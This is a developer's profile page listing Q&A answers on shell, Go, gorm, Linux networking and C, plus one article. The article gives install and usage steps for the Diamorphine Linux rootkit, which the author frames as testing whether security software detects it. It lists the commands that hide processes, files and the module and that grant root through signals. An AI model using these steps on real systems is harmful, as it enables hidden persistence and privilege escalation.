laughbug

laughbug 查看完整档案

南京编辑  |  填写毕业院校  |  填写所在公司/组织填写个人主网站
编辑

Quitters never win and winners never quit.

个人动态

laughbug 回答了问题 · 9月18日

windows 环境下 shell脚本如何获取时间?

如下脚本在本地git的bash测试OK,你可以试一下

#!/bin/bash
time=$(date "+%Y-%m-%d-%H-%M-%S")
mv test.txt $time.txt

windows下获取时间就是$(date)

关注 3 回答 2

laughbug 回答了问题 · 9月18日

解决在使用gorm时定义了两种类似的struct,为什么一个成功一个失败了?

第二种定义要将其嵌入,加个embedded标签
type InsertFileInfo struct {
FileInfo FileResult json:"file_inifo" gorm:"embedded"
}

你这两种区别就是结构体定义完全不一样,第一种直接内嵌的,你可以直接用
InsertFileInfo来访问FileResult的成员
而第二种,你必须要先访问InsertFileInfo的成员FileInfo再来访问FileResult的成员

能不能不要用图片,真心懒的打字。别人帮你解答问题,让别人方便一点不好吗?

关注 4 回答 3

laughbug 回答了问题 · 9月18日

ip addr add 127.0.0.1/8 dev lo brd + 是什么意思?

broadcast ADDRESS
----协议广播地址,可以简写成brd,此外可以简单的在后面加上"+"表示广播地址由协议地址加主机位全置1组成,"-"则表示主机位全置0。

例如你的配置:ip addr add 127.0.0.1/8 dev lo brd +
则表示广播地址为127.255.255.255,网络地址(前8位)为127,主机地址(后面的24位)全为1,加起来为广播地址。

扩展:
ip address add---添加新的协议地址
操作参数:
dev name
----指定要进行操作的网络设备名称
local ADDRESS (缺省)
----协议地址,地址的格式由使用的协议所决定,比如在ipv4协议中,地址的格式为用小数点分隔的四个十进制数,后面可以用/连接子网掩码的位数,比如192.168.1.100/24。
peer ADDRESS
----使用点对点连接时对端的协议地址。
broadcast ADDRESS
----协议广播地址,可以简写成brd,此外可以简单的在后面加上"+"表示广播地址由协议地址主机位全置1组成,"-"则表示主机位全置0。
label NAME
----地址标志,为了和linux 2.0中的别名相兼容,该标志由该网络设备名称开头,后面用":"接上地址名称,比如eth0:3等等。
scope SCOPE_VALUE
----地址范围,可能的值有:
1. global:说明该地址全局有效;
2. site:说明该地址只在本地站点内有效,该值只在ipv6中使用;
3. link:只在该网络设备上有效;
4. host:只在该主机上有效;
实例:
1. 添加回送地址
ip addr add 127.0.0.1/8 dev lo brd + scope host
2. 添加ip地址
ip addr add 10.0.0.1/24 brd + dev eth0 label eth0:3

关注 3 回答 2

laughbug 回答了问题 · 9月16日

解决golang开发 rpc 应用时,对于rpc服务的目录结构如何合理规划

仅供参考:
projectname
├── common
│   ├── proto
│   │   ├── xxx
│   │   │   ├── xxx.pb.go
│   │   │   └── xxx.proto
│   │   ├── yyy
│   │   │   ├── yyy.pb.go
│   │   │   └── yyy.proto
│   │   ├── zzz
│   │   │   ├── zzz.pb.go
│   │   │   └── zzz.proto
├── go.mod
├── go.sum
├── client
│   ├── grpc
│   │   ├── client.go
│   │   └── server.go
│   ├── alert
│   │   ├── alert.go
│   │   └── alert_test.go
│   └── main.go
├── server
│   ├── alert
│   │   ├── alert.go
│   ├── grpc
│   │   ├── client.go
│   │   └── server.go
│   └── main.go

将所有公共功能,比如proto的定义放到common中,在项目中引用时:
import (
"projectname/common/proto/xxx"
"projectname/common/proto/yyy"
"projectname/common/proto/zzz"
)

go.mod中:

module projectname
go 1.14
require (
   github.com/... v1.5.0         //仅供参考
)

关注 4 回答 3

laughbug 回答了问题 · 9月13日

解决go语言中的匿名函数执行顺序

你的代码输出顺序结果应该是随机的,你可以多尝试一些次数

主要是由于println函数是向标准错误流中输出的
而fmt.Println函数是向标准输出流中输出

代码执行顺序肯定是先执行的匿名函数,再执行main后面的打印hello world流程
但是他们执行的内容只是向各自的流(错误流,输出流)中输入自己的内容,
但是这两个流什么时候向屏幕显示就需要抢占CPU了,也就是随机了。

你可以用下面代码验证下:

func main() {  
   tss := "sdd"  
 i := 1  
  
 func (){  
      println(tss)  
      i++  
   }()  
  
   fmt.Println("i is", i)  
}

你会发现不管是先输出的“i is 2”, 还是先输出的“sdd”,其i的值都是2,不可能输出1,即表示i++肯定是先于打印i is前就执行了。但是错误流和标准流什么时候输出到屏幕就随机了。

image.png
image.png

关注 2 回答 1

laughbug 发布了文章 · 9月7日

diamorphine测试

由于需要验证一个rootkit能否被安全软件检测到,故网上搜了下常见rootkit,发现一个叫diamorphine的,很简单易用,在此记录一下。
声明:仅学习参考用,非法用途后果自负。

Diamorphine是一个C语言写的,运行于linux系统的rootkit,支持linux 内核版本2.6.x/3.x/4.x。

本文验证环境:
系统:CentOS 7
内核:Linux 3.10.0-1062.12.1.el7.x86_64
(uname -s -r命令可以查看系统内核版本)
用户:root(必须要用root用户)

安装Diamorphine

直接采用源码安装方法,先下载源码:
git clone https://github.com/m0nad/Diamorphine.git
下载完成后,进入目录(cd Diamorphine)

编译源码:
make

如果顺利(不顺利的话参见问题解决看是否遇到类似的问题),编译完成后,结果如下:

[root@test /home/rootkit/Diamorphine]# ll
total 644
-rw-r--r-- 1 root root   9416 Sep  4 17:53 diamorphine.c
-rw-r--r-- 1 root root    329 Sep  4 17:53 diamorphine.h
-rw-r--r-- 1 root root 306368 Sep  4 17:54 diamorphine.ko
-rw-r--r-- 1 root root   1805 Sep  4 17:54 diamorphine.mod.c
-rw-r--r-- 1 root root  60008 Sep  4 17:54 diamorphine.mod.o
-rw-r--r-- 1 root root 250392 Sep  4 17:54 diamorphine.o
-rw-r--r-- 1 root root   1456 Sep  4 17:53 LICENSE.txt
-rw-r--r-- 1 root root    190 Sep  4 17:53 Makefile
-rw-r--r-- 1 root root     53 Sep  4 17:54 modules.order
-rw-r--r-- 1 root root      0 Sep  4 17:54 Module.symvers
-rw-r--r-- 1 root root   1424 Sep  4 17:53 README.md

安装
insmod diamorphine.ko

卸载(暂未实际验证)
kill -63 0; rmmod diamorphine

使用

1、隐藏进程(ps命令查不到该进程了)

通过发送31信号,可以达到隐藏进程的目的
同样再次发送31信号,可以将已隐藏进程重现
命令格式:kill -31 <pid>

[root@test /home/rootkit]# ps aux | grep aia
root      69953  0.0  0.5 234104  5604 pts/0    Sl   19:46   0:01 ./bin/aia-malware
root      70330  0.0  0.0 112812   968 pts/0    S+   20:11   0:00 grep --color=auto aia
[root@test /home/rootkit]# kill -31 69953
[root@test /home/rootkit]# ps aux | grep aia
root      70333  0.0  0.0 112812   972 pts/0    S+   20:11   0:00 grep --color=auto aia
[root@test /home/rootkit]#

2、隐藏内核模块

发送63信号给模块,同样的再次发送将模块重现
注:lsmod命令可以查看系统模块信息

3、改变用户为root

发送64信号给任何进程,可以改变用户为root

4、隐藏文件/文件夹

任何以diamorphine_secret开头的文件或文件夹都会被隐藏

安装问题

执行make命令时遇到如下错误(具体错误信息可能不同,要看具体的内核版本):

make -C /lib/modules/3.10.0-1062.12.1.el7.x86_64/build M=/home/daik/rootkit/Diamorphine modules
make: *** /lib/modules/3.10.0-1062.12.1.el7.x86_64/build: No such file or directory.  Stop.
make: *** [all] Error 2

从错误信息可以发现是没有找到文件或者目录,我们手动打开
/lib/modules/3.10.0-1062.12.1.el7.x86_64/build,发现这个目录就是一个软连接,其连接到/usr/src/kernels/目录下的内核开发包,那再到这个真正的目录里面看下,发现其是空,那么问题找到了,解决方法就是按照内核开发包
安装方法:

yum install kernel-headers.x86_64 3.10.0-1062.12.1.el7
yum install kernel-devel.x86_64 3.10.0-1062.12.1.el7

如果不带具体版本,可以直接执行:

yum install kernel-headers
yum install kernel-devel

如果顺利的话,就可以发现/usr/src/kernels/目录下有内核开发包了,然后回到Diamorphine执行make即可。

如果发现安装后的内核开发包和uname查出的内核版本有细微不同(一般是小版本号),例如我的就安装了3.10.0-1127.19.1.el7.x86_64,那么就需要修改软连接了,
修改方法:

  1. 删除原有软连接,到/lib/modules/3.10.0-1062.12.1.el7.x86_64目录执行rm ./build
  2. 重新创建软连接,ln -s /usr/src/kernels/1127.19.1.el7.x86_64/ build

然后再去执行make命令即可。

目前我就遇到这些问题,大功告成。(内核版本我本想要完全匹配的,但是一直下载或者安装不了那个具体的内核版本,就没有去继续折腾,用了一个相近的内核版本了)

参考

https://blog.csdn.net/guoguangwu/article/details/100771046
https://www.jozxing.cc/archives/1410
https://www.cnblogs.com/mysky007/p/12907633.html
https://www.cnblogs.com/MYSQLZOUQI/p/5258898.html

查看原文

赞 0 收藏 0 评论 0

laughbug 回答了问题 · 8月28日

C语言算法题:矩阵转置

#include <stdio.h>

int input_M = 0, input_N = 0;

int main() {
    int i = 0;
    int j = 0;
    scanf("%d%d", &input_M, &input_N);
    int matrix1[input_M][input_N];

    for (i = 0; i < input_M; ++i) {
        for (j = 0; j < input_N; ++j) {
            scanf("%d", &matrix1[i][j]);
        }
    }

    for (j = 0; j < input_N; ++j) {
        for (i = 0; i < input_M; ++i) {
            printf("%d", matrix1[i][j]);
            if (i == input_M - 1) {
                printf("\n");
            } else {
                printf(" ");
            }
        }
    }
    return 0;
}

关注 2 回答 1

laughbug 回答了问题 · 8月28日

解决C语言数组赋值。

主要就是三个问题:
1、所有内存申请的时候,只是分配空间,但不保证这块空间的内容是什么,也就是内容是随机的。
不管数局部变量从栈上申请,还是有malloc函数从堆上申请,都一样

2、strlen这个函数求值,是遇到\0才结束,所以如果你想求一个字符串的长度,一定要保证这个字符串是以\0结尾的,否则strlen会一直向后计算非\0字符的数量

3、printf函数也是遇到0结尾,其实记住了所有字符串操作都要保证结尾有\0

所以对你的代码:
1、“123456789”这种字符串的定义,其实最后默认包含了\0,所以其实一共有10个字符,可以用sizeof(s)来看其大小
2、r[9]的定义为了最后一个字符存储\0,其实实际能够存储的字符数只有8个
3、你的for循环对r这个数组进行了9次赋值,最后一个r[9]=9,导致这个数组最后一个字符也不是\0,所以用strlen求长度时,是难以预料到,就看这块内存后面的内容了。
4、同样的printf是一样的问题,没有遇到\0就一直打印

关注 5 回答 4

laughbug 关注了标签 · 8月28日

关注 2431

认证与成就

  • 获得 24 次点赞
  • 获得 2 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 2 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 5月21日
个人主页被 330 人浏览